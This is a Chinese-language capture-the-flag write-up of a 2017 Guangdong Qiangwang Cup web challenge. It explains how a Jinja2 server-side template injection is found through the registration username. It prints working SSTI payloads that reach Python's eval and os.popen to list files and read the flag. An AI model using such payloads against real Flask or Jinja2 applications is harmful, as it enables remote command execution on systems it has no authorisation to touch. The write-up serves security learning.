2017年第二屆廣東省強網杯線上賽WEB:Musee de X writeup(模板注入漏洞)

Zeker62發表於2021-09-29

解題思路

拿到手上,有四個頁面
image
首先按照題目要求執行,嘗試註冊一個名為admin的賬戶
image
這種情況,路徑都給出來了,很可能就是目錄遍歷或者檔案上傳了
回到初始介面,點選連結here
image

有一個捐贈介面,讓我們輸入捐贈的地址和名字
image
下面的collection de musee代表它是一個收藏館,也不知道捐什麼,就隨意捐一個,比如baidu.com
image
可以看到是有報錯的,為了讓報錯全部顯示,建議直接使用“檢視頁面原始碼”
像這種東西,就無不暗示著你,是可能有SSTI漏洞的
image
按照正常方法,直接crtl+F搜尋render,看看有沒有SSTI注入點
image
可以看見,text的變數是有著jinja2的注入點的,所以我們尋找text這個指向的是什麼就可以找到注入點了。
通過審查html,可以發現,我們所指的text表示的是name
image

所以我們需要將這個注入進去就可以了
如何注入呢,就是剛剛的註冊頁面,剛剛發現我們註冊之後會在伺服器端生成一個為註冊名的目錄,所以,只要將payload作為使用者名稱注入即可
構造payload,先檢視目錄,確定flag的檔名(flag*一步到位也不是不可以)

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}

可以在這個payload前面新增你自己喜歡的使用者名稱,當然不加也可以

然後我們捐獻的是一張純黑色的圖片(也可以上傳別的圖片,但是最後發現,還得上傳純黑的圖片才看得清楚)

http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg

image
image

構造payload

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat flag*").read()')}}
#或者網上給的
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}

flag就出來了
image

再次注入的時候仍然需要新增新的使用者,否則會被判為被黑
image

總結

問題 方法
伺服器端模板注入的尋找方法 就是看除了PHP以外還有沒有用別的語言寫,常見的是python,如果能夠找到一些原始碼或者報錯,搜尋render,或許就能找到注入點
漏洞如何尋找 按照題目一步一步來做,順著題目的意思進行,出現了報錯或者原始碼的出現是最好不過了
payload的構造 payload在主頁裡面有,payload可能會被過濾,這個題目簡單,麼有過濾payload,payload有很多種,也不止上面給的這一種

相關文章